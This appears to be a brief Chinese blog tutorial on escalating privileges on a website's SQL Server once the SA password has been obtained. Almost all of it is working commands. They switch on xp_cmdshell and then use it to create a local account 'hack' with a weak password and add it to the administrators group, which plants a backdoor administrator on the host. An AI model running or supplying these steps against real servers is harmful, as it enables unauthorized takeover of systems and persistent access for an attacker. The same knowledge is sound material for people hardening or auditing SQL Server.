天天看点

SQLServer的XP_CmdShell提权

当我们拿到了某个网站SQLServer数据库的SA权限用户密码的话,我们就可以使用XP_CmdShell提权了。

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;      

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure      

使用XP_CmdShell执行系统命令

exec master..xp_cmdshell 'net user hack 123 /add'    #添加用户hack,密码123
exec master..xp_cmdshell 'net localgroup administrators hack add'    #将hack用户添加到管理员组中      

参考文章:​​【提权】MSSQL提权之xp_cmdshell​​

                 ​​技术分享:MSSQL注入xp_cmdshell​​